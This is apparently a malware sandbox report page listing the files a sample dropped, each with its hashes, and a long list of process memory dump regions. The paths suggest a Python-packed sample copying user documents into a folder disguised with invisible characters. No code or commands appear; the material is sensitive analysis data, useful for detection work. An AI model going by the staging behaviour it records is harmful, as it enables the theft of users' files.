1fe2c918e9ce524b855d7f38d4c69563f8b8c44291eea1dc98f04e5ebdc39c8f2d658a716429051fb91fed0b912520929a0b980c4f5b4ecb3de1c4eb83749a45

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI33482\sqlite3.dll

Filesize
612KB

MD5
59ed17799f42cc17d63a20341b93b6f6

SHA1
5f8b7d6202b597e72f8b49f4c33135e35ac76cd1

SHA256
852b38bd2d05dd9f000e540d3f5e4962e64597eb864a68aa8bb28ce7008e91f1

SHA512
3424ad59fd71c68e0af716b7b94c4224b2abfb11b7613f2e565f5d82f630e89c2798e732376a3a0e1266d8d58730b2f76c4e23efe03c47a48cbf5f0fc165d333

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI33482\sqlite3.dll

Filesize
445KB

MD5
7cb786c85323bfb42cc4ca3ed62004f8

SHA1
3b71284546ee585187db77cdc0f3e13adaf101c1

SHA256
da69ee75cc8794b22ccf5d1793fcdd2998511ab50e3dfe3f1192bf7c9a810924

SHA512
b2bf15da83268f3119317fa223bd52f9359950fb209c84fd6c595389872b22b0acd1103075a67a111fcdd2ea269ad7ad0cedaaba302d85c6a075900bbb5cec17

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI33482\unicodedata.pyd

Filesize
286KB

MD5
2218b2730b625b1aeee6a67095c101a4

SHA1
aa7f032b9c8b40e5ecf2a0f59fa5ae3f48eff90a

SHA256
5e9add4dd806c2de4d694b9bb038a6716badb7d5f912884d80d593592bcdb8ca

SHA512
77aa10ae645c0ba24e31dcab4726d8fb7aa3cb9708c7c85499e7d82ce46609d43e5dc74da7cd32c170c7ddf50c8db8945baf3452421316c4a46888d745de8da0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hrxsc5w5.qmo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\twsjsqfh\twsjsqfh.dll

Filesize
4KB

MD5
db10c637eab6fb18c873ec44d20cc59c

SHA1
062e320c50973c7d8cd1ca585cf964f526397022

SHA256
07c433e57e031b41543832ca63bda15919af99853ebaa7bd1578384493b906ad

SHA512
95bc2df2d02dc87c0437ecedabba63e7bc43cd366aa0a5a7c94cc22629d58347beabb4f4fbcf578bf7e1eac68280c25e8a71101a0523b7c54e176269cb01179a

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Desktop\ExpandFormat.txt

Filesize
420KB

MD5
d43f717f5a065f06f70f01745c370a05

SHA1
24dee7ad0f7b5267d542ea5ee7a3691192d0990e

SHA256
c4da42d83bda4c92d36fa83d47db0e4ecbf338ef7253d03f238afa0875a857e3

SHA512
db2bdd9cbf8cc27e3a8f31c3b0ae572a39d3911389bd9ade8c4a78e6e4330ac9f488876f597f178f2398cdce50f95f0804df1efb993fdce5cf2d9160c5716d0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Desktop\ImportLimit.jpg

Filesize
257KB

MD5
cc393ce5a7cf9f707e271c193807c31e

SHA1
327fe3c2233acf435848b621281ece365a0bba73

SHA256
fae954321bf6c8a1f241943b2c2ed72675cb81df4eee03fcb01c8e245475884f

SHA512
86c2cd52b1056ecd2fbad25484a2e710105242f7fd90ae859ebf5138232dc228e760621c50e926dd862c5b3c452ffd79a5bcb37440f4892c3ef4822008859c7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\Are.docx

Filesize
11KB

MD5
a33e5b189842c5867f46566bdbf7a095

SHA1
e1c06359f6a76da90d19e8fd95e79c832edb3196

SHA256
5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

SHA512
f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\DisconnectUse.xlsx

Filesize
188KB

MD5
d9ff39a8e98ca5d5c7ebc41eab97e61a

SHA1
a468e535e0b9ca7397b91484dc3ac92206b8ac43

SHA256
8a66120cd28477e9573cf1996d911967a18c516d3b659b505661ff061dfbdc88

SHA512
d5ca7034a659064e7eec6f066c0d411e7c047125fb9c9141ce81eaaca11c2c610a9773f86aa00c86da374b46ca85a66a1d8ba9e8034ac8098589bdc6edd5f2f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\EnablePush.csv

Filesize
286KB

MD5
b39b6c0f8625e55a6f131836f4d1fd18

SHA1
fd91021c5bb1a6682798c5c6ea8772a658659bee

SHA256
a61518a2f472ab809cf5117d4f8fbddbdd25378ba52cdfdfae5863082d184373

SHA512
93a0ec6aeb3c357f8bf7411016f958c138ff5eb82f41a0ca1828171bc22731de5fdb05ee9a25e188a78803c49358a4138fa20791997535127adb2e5f755f75f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\Files.docx

Filesize
11KB

MD5
4a8fbd593a733fc669169d614021185b

SHA1
166e66575715d4c52bcb471c09bdbc5a9bb2f615

SHA256
714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

SHA512
6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\MountSave.txt

Filesize
83KB

MD5
0197cfcb45f9b305177bfc78260ad10d

SHA1
91ec4ffd785d6844dc47301a7ca9f616a6058e81

SHA256
8554ba1fc3d19a4569c2afdfc428ef166c401b14abdbf3b1f016753e6edeab28

SHA512
abb761ab585cfd972139b83fedb30918c03e0ff5e07ba69d3ce0dd56821b81378dc1bb9c9e7f7ea1a4f9361d3b7c6431aa84edd576e833f867e8ab79df8f6a8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\Opened.docx

Filesize
11KB

MD5
bfbc1a403197ac8cfc95638c2da2cf0e

SHA1
634658f4dd9747e87fa540f5ba47e218acfc8af2

SHA256
272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

SHA512
b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\Recently.docx

Filesize
11KB

MD5
3b068f508d40eb8258ff0b0592ca1f9c

SHA1
59ac025c3256e9c6c86165082974fe791ff9833a

SHA256
07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

SHA512
e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Documents\These.docx

Filesize
11KB

MD5
87cbab2a743fb7e0625cc332c9aac537

SHA1
50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

SHA256
57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

SHA512
6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Downloads\BackupResolve.M2TS

Filesize
118KB

MD5
97ef37c069dc732ef308a3eceb1d8564

SHA1
78ecbe85c1a303e4006d8edcd41994ac2b1a0659

SHA256
77faf23fea99634093c79abd44e1768767e7f3c8881ddddb4a23f072b435c6f5

SHA512
52533f83b0bcb8634ecbbfe59800e795d387c6662770b1a55f0118f3c2f58f6a5e54e6d658f3ebf7032b0669f9d47a0c3f6ca258bad0d08ee6f1c16a555513f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Downloads\DebugRequest.jpeg

Filesize
5KB

MD5
a1c1bce92d276d21a119f9ba22824167

SHA1
73ff1bccf2e6ad158e2aaaed5ff8d2461142db5f

SHA256
2f6899feac81b5bb44d69d9a7a9924504d11d4f7c169a81da2675ea76bf29cb4

SHA512
02e6f6be2a5e89a5189fa87ac857594509d41f5d218083cd264a45b4be4ebe2751d4eb04fef4fa36bd2ce85a4682a93050d3d6c9cf59c72c27a05c33884e56ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎ ‍ ‌ \Common Files\Downloads\PopLock.mp4

Filesize
103KB

MD5
94c4e514e09384e9125d16cf963f16b0

SHA1
103156a30ee19834deda795092052449faf6df79

SHA256
c01ad12cfdd7dc6e0ffb60eb365e50fffdd8b16d1f14b574b38bfa61ee43098f

SHA512
d0fa24895217a308455a7d7a2e920c27813b6a348769654f6ecdf663f370256d8d9e9df243cafc95fa4bb9852c2338d8aeeaa998daf924b29a4afc834116c3d8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\twsjsqfh\CSC2263D3A818A54EAEBB3451A6BA72F11.TMP

Filesize
652B

MD5
baba671961a6de1581a5300f3a80dcc7

SHA1
b77ce6a7380d64102bfa8ccaca4b90ee6c75f406

SHA256
ee2112b6721284ca0529b83e2e7cc51aca4e8b0813636aac6a2d79d04240cedc

SHA512
06ec7ef47a7e17c95301c4b876f594c1930acaece4abf658a5718ae902397883cc5cbf8bc471fb35a5dd9f69c1142b70f3e743ff61826589da6088626f90c03c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\twsjsqfh\twsjsqfh.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\twsjsqfh\twsjsqfh.cmdline

Filesize
607B

MD5
e98efc413a42d766072f276a68f133d2

SHA1
e4b6d3f3dba74a0090ed162ce4de45da3473d8e4

SHA256
4266a2fa511959e5583845af3b681e7e7c63ef4856a152f5556c0bd27e6859b0

SHA512
48f692ec22fe2c44138e31e5a0a361088cbb754578084dbac96e82209be702e53c42818b365675698d55222741c5863d1a93d550f5e47d2580554e44e582b6cc

Download Submit
memory/212-165-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/212-187-0x00000272F7AB0000-0x00000272F7AC0000-memory.dmp

Filesize
64KB

Download
memory/212-208-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/212-166-0x00000272F7AB0000-0x00000272F7AC0000-memory.dmp

Filesize
64KB

Download
memory/212-167-0x00000272F7AB0000-0x00000272F7AC0000-memory.dmp

Filesize
64KB

Download
memory/540-314-0x00000224FE300000-0x00000224FE310000-memory.dmp

Filesize
64KB

Download
memory/540-317-0x00007FF805D50000-0x00007FF806811000-memory.dmp

Filesize
10.8MB

Download
memory/540-312-0x00000224FE300000-0x00000224FE310000-memory.dmp

Filesize
64KB

Download
memory/540-313-0x00000224FE300000-0x00000224FE310000-memory.dmp

Filesize
64KB

Download
memory/540-311-0x00007FF805D50000-0x00007FF806811000-memory.dmp

Filesize
10.8MB

Download
memory/644-343-0x00007FF805D50000-0x00007FF806811000-memory.dmp

Filesize
10.8MB

Download
memory/1200-233-0x00000226789E0000-0x00000226789E8000-memory.dmp

Filesize
32KB

Download
memory/1200-254-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/1200-181-0x0000022678A40000-0x0000022678A50000-memory.dmp

Filesize
64KB

Download
memory/1200-182-0x0000022678A40000-0x0000022678A50000-memory.dmp

Filesize
64KB

Download
memory/1200-185-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/2220-186-0x0000011F9A690000-0x0000011F9A6A0000-memory.dmp

Filesize
64KB

Download
memory/2220-150-0x0000011F9A690000-0x0000011F9A6A0000-memory.dmp

Filesize
64KB

Download
memory/2220-205-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/2220-217-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/2220-144-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/2548-87-0x0000023947810000-0x0000023947820000-memory.dmp

Filesize
64KB

Download
memory/2548-89-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/2548-204-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/2548-183-0x0000023947810000-0x0000023947820000-memory.dmp

Filesize
64KB

Download
memory/2548-90-0x0000023947810000-0x0000023947820000-memory.dmp

Filesize
64KB

Download
memory/3188-285-0x00007FF805CA0000-0x00007FF806761000-memory.dmp

Filesize
10.8MB

Download
memory/3188-283-0x000001DBEFB00000-0x000001DBEFB10000-memory.dmp

Filesize
64KB

Download
memory/3188-272-0x00007FF805CA0000-0x00007FF806761000-memory.dmp

Filesize
10.8MB

Download
memory/3732-382-0x00007FF815580000-0x00007FF8156F1000-memory.dmp

Filesize
1.4MB

Download
memory/3732-82-0x00007FF806820000-0x00007FF806938000-memory.dmp

Filesize
1.1MB

Download
memory/3732-101-0x00007FF815580000-0x00007FF8156F1000-memory.dmp

Filesize
1.4MB

Download
memory/3732-178-0x00007FF806CC0000-0x00007FF806D77000-memory.dmp

Filesize
732KB

Download
memory/3732-381-0x00007FF816280000-0x00007FF81629E000-memory.dmp

Filesize
120KB

Download
memory/3732-74-0x000002020B950000-0x000002020BCC7000-memory.dmp

Filesize
3.5MB

Download
memory/3732-168-0x00007FF815C60000-0x00007FF815C8E000-memory.dmp

Filesize
184KB

Download
memory/3732-179-0x000002020B950000-0x000002020BCC7000-memory.dmp

Filesize
3.5MB

Download
memory/3732-380-0x00007FF81AD40000-0x00007FF81AD58000-memory.dmp

Filesize
96KB

Download
memory/3732-379-0x00007FF8163D0000-0x00007FF8163FC000-memory.dmp

Filesize
176KB

Download
memory/3732-378-0x00007FF81BDA0000-0x00007FF81BDAF000-memory.dmp

Filesize
60KB

Download
memory/3732-286-0x00007FF815700000-0x00007FF815B65000-memory.dmp

Filesize
4.4MB

Download
memory/3732-291-0x00007FF816280000-0x00007FF81629E000-memory.dmp

Filesize
120KB

Download
memory/3732-287-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp

Filesize
144KB

Download
memory/3732-301-0x00007FF815580000-0x00007FF8156F1000-memory.dmp

Filesize
1.4MB

Download
memory/3732-387-0x00007FF806940000-0x00007FF806CB7000-memory.dmp

Filesize
3.5MB

Download
memory/3732-376-0x00007FF815700000-0x00007FF815B65000-memory.dmp

Filesize
4.4MB

Download
memory/3732-383-0x00007FF815F60000-0x00007FF815F79000-memory.dmp

Filesize
100KB

Download
memory/3732-88-0x00007FF816280000-0x00007FF81629E000-memory.dmp

Filesize
120KB

Download
memory/3732-184-0x00007FF806940000-0x00007FF806CB7000-memory.dmp

Filesize
3.5MB

Download
memory/3732-384-0x00007FF81BD90000-0x00007FF81BD9D000-memory.dmp

Filesize
52KB

Download
memory/3732-385-0x00007FF815C60000-0x00007FF815C8E000-memory.dmp

Filesize
184KB

Download
memory/3732-75-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp

Filesize
144KB

Download
memory/3732-151-0x00007FF815F60000-0x00007FF815F79000-memory.dmp

Filesize
100KB

Download
memory/3732-81-0x00007FF815C30000-0x00007FF815C3D000-memory.dmp

Filesize
52KB

Download
memory/3732-79-0x00007FF815C40000-0x00007FF815C55000-memory.dmp

Filesize
84KB

Download
memory/3732-72-0x00007FF806940000-0x00007FF806CB7000-memory.dmp

Filesize
3.5MB

Download
memory/3732-71-0x00007FF815700000-0x00007FF815B65000-memory.dmp

Filesize
4.4MB

Download
memory/3732-68-0x00007FF806CC0000-0x00007FF806D77000-memory.dmp

Filesize
732KB

Download
memory/3732-66-0x00007FF815C60000-0x00007FF815C8E000-memory.dmp

Filesize
184KB

Download
memory/3732-64-0x00007FF81BD90000-0x00007FF81BD9D000-memory.dmp

Filesize
52KB

Download
memory/3732-62-0x00007FF815F60000-0x00007FF815F79000-memory.dmp

Filesize
100KB

Download
memory/3732-60-0x00007FF815580000-0x00007FF8156F1000-memory.dmp

Filesize
1.4MB

Download
memory/3732-54-0x00007FF8163D0000-0x00007FF8163FC000-memory.dmp

Filesize
176KB

Download
memory/3732-58-0x00007FF816280000-0x00007FF81629E000-memory.dmp

Filesize
120KB

Download
memory/3732-56-0x00007FF81AD40000-0x00007FF81AD58000-memory.dmp

Filesize
96KB

Download
memory/3732-48-0x00007FF81BDA0000-0x00007FF81BDAF000-memory.dmp

Filesize
60KB

Download
memory/3732-47-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp

Filesize
144KB

Download
memory/3732-25-0x00007FF815700000-0x00007FF815B65000-memory.dmp

Filesize
4.4MB

Download
memory/3732-361-0x00007FF815700000-0x00007FF815B65000-memory.dmp

Filesize
4.4MB

Download
memory/3732-377-0x00007FF816B90000-0x00007FF816BB4000-memory.dmp

Filesize
144KB

Download
memory/3732-386-0x00007FF806CC0000-0x00007FF806D77000-memory.dmp

Filesize
732KB

Download
memory/3732-390-0x00007FF806820000-0x00007FF806938000-memory.dmp

Filesize
1.1MB

Download
memory/3732-389-0x00007FF815C30000-0x00007FF815C3D000-memory.dmp

Filesize
52KB

Download
memory/3732-388-0x00007FF815C40000-0x00007FF815C55000-memory.dmp

Filesize
84KB

Download
memory/4852-215-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/4852-85-0x0000026238D30000-0x0000026238D40000-memory.dmp

Filesize
64KB

Download
memory/4852-86-0x0000026238D30000-0x0000026238D40000-memory.dmp

Filesize
64KB

Download
memory/4852-203-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/4852-84-0x00007FF804620000-0x00007FF8050E1000-memory.dmp

Filesize
10.8MB

Download
memory/4852-97-0x0000026251450000-0x0000026251472000-memory.dmp

Filesize
136KB

Download
memory/4852-180-0x0000026238D30000-0x0000026238D40000-memory.dmp

Filesize
64KB

Download
memory/4852-199-0x0000026238D30000-0x0000026238D40000-memory.dmp

Filesize
64KB

Download
memory/4852-198-0x0000026238D30000-0x0000026238D40000-memory.dmp

Filesize
64KB

Download
memory/4852-197-0x0000026238D30000-0x0000026238D40000-memory.dmp

Filesize
64KB

Download